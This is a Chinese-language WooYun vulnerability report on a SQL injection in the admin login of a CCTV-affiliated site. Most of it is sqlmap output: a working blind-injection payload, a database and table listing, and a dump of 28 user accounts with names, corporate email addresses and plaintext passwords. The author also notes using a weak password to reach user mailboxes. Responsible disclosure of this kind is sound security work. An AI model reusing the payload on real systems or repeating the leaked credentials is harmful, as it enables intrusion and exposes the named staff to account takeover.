当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046186

漏洞标题:CCTV旗下某站SQL注射漏洞

相关厂商:中国网络电视台

漏洞作者: 带馅儿馒头

提交时间:2013-12-17 10:45

修复时间:2014-01-31 10:46

公开时间:2014-01-31 10:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-17: 细节已通知厂商并且等待厂商处理中
2013-12-17: 厂商已经确认,细节仅向厂商公开
2013-12-27: 细节向核心白帽子及相关领域专家公开
2014-01-06: 细节向普通白帽子公开
2014-01-16: 细节向实习白帽子公开
2014-01-31: 细节向公众公开

简要描述:

RT

详细说明:

存在问题的站点:http://www.chnpec.com

2.png


翻译系统后台登陆post注入;

1.png


---
Place: POST
Parameter: tran_username
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY claus
e (RLIKE)
Payload: tran_username=a' RLIKE IF(5767=5767,0x61,0x28) AND 'mUje'='mUje&tra
n_password=a
---
web application technology: PHP 5.4.9, Apache 2.2.22
back-end DBMS: MySQL 5


数据库信息:

available databases [6]:
[*] cpec
[*] ctvit
[*] information_schema
[*] mysql
[*] performance_schema
[*] test


表信息:

Database: cpec
[50 tables]
+------------------------------------+
| crproggetrightfr |
| crproginfo |
| crprogsalerightfr |
| crprogsalerigjt |
| hotwell_view |
| incre_table |
| perm_function_group |
| perm_operation |
| perm_role |
| perm_role_function |
| perm_role_operation |
| perm_user_role |
| program_view |
| tab_basiccolumn |
| tab_basicinformation |
| tab_basicinformation_en |
| tab_basicinformation_international |
| tab_city |
| tab_copyright |
| tab_crprogtip_relation |
| tab_info_img |
| tab_info_video |
| tab_international_syntime |
| tab_material |
| tab_program_apple |
| tab_program_hot |
| tab_sales_situation |
| tab_tran_task |
| tab_tran_user |
| tab_tv_notice |
| tab_tv_videoinfo |
| tab_user |
| tab_video |
| tab_video_apple |
| tab_video_cut |
| tab_videoimg |
| tab_web_user |
| tab_words |
| temp_yrj |
| tiabstract |
| tiprogeng |
| tiproginfo |
| tvvideoinfo |
| welive_comment |
| welive_guest |
| welive_msg |
| welive_session |
| welive_user |
| welive_usergroup |
| welive_vvc |
+------------------------------------+


部分用户信息:

Database: cpec
Table: tab_user
[28 entries]
+-------------+------------------------+----------+-------------+
| user_id | email | password | serviceName |
+-------------+------------------------+----------+-------------+
| admin | <blank> | 123qwe | NULL |
| test111 | 111@11.com | 111111 | NULL |
| maidi | 234567890fghjl@qq.com | 111111 | NULL |
| caidanxiang | caidanxiang@chnpec.com | 111111 | caidanxiang |
| fanqi | fanqi@chnpec.com | 111111 | fanqi |
| fengnan | fengnan@chnpec.com | 111111 | NULL |
| gj001 | gj001@163.com | 111111 | ????001 |
| gn001 | gn001@163.com | 111111 | ??01 |
| gn002 | gn002@163.com | 123456 | ?? |
| gn003 | gn003@163.COM | 111111 | ??02 |
| jijie | jijie@chnpec.com | 111111 | NULL |
| hongda | lihongda@ctvit.com | 111111 | test8 |
| lilifu | lilifu@chnpec.com | 111111 | NULL |
| limengxi | limengxi@chnpec.com | 111111 | limengxi |
| lixi | lixi@chnpec.com | 111111 | NULL |
| luchong | luchong@ctvit.com.cn | 111111 | qq |
| luowei | luowei@chnpec.com | 888888 | NULL |
| qiyang | qiyang@chnpec.com | 111111 | ??001 |
| quzheng | quzheng@chnpec.com | 111111 | NULL |
| wangjian | wangjian@chnpec.com | 111111 | wangjian |
| wangwei | wangwei@chnpec.com | 111111 | ?? |
| wangxin | wangxin@chnpec.com | 111111 | wangxin |
| yangtao | yangtao@chnpec.com | leonard | NULL |
| yanjie | yanjie@chnpec.com | 111111 | NULL |
| yeyanglei | yeyanglei@chnpec.com | 111111 | NULL |
| zhangyao | zhangyao@chnpec.com | 111111 | zhangyao |
| zhanyingqi | zhanyingqi@chnpec.com | 111111 | ??? |
| zhuyuhong | zhuyuhong@chnpec.com | 111111 | NULL |
+-------------+------------------------+----------+-------------+


利用某帐号邮箱弱口令获取所有用户邮箱帐号信息,继续爆破或许还有更多信息,这里测试点到即止;

3.png


漏洞证明:

见详细说明

修复方案:

过滤

版权声明:转载请注明来源 带馅儿馒头@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-12-17 16:17

厂商回复:

非常感谢,我们将尽快进行该业务的整改!~~感谢您对我们的支持和帮助!~~~

最新状态:

暂无


漏洞评价:

评论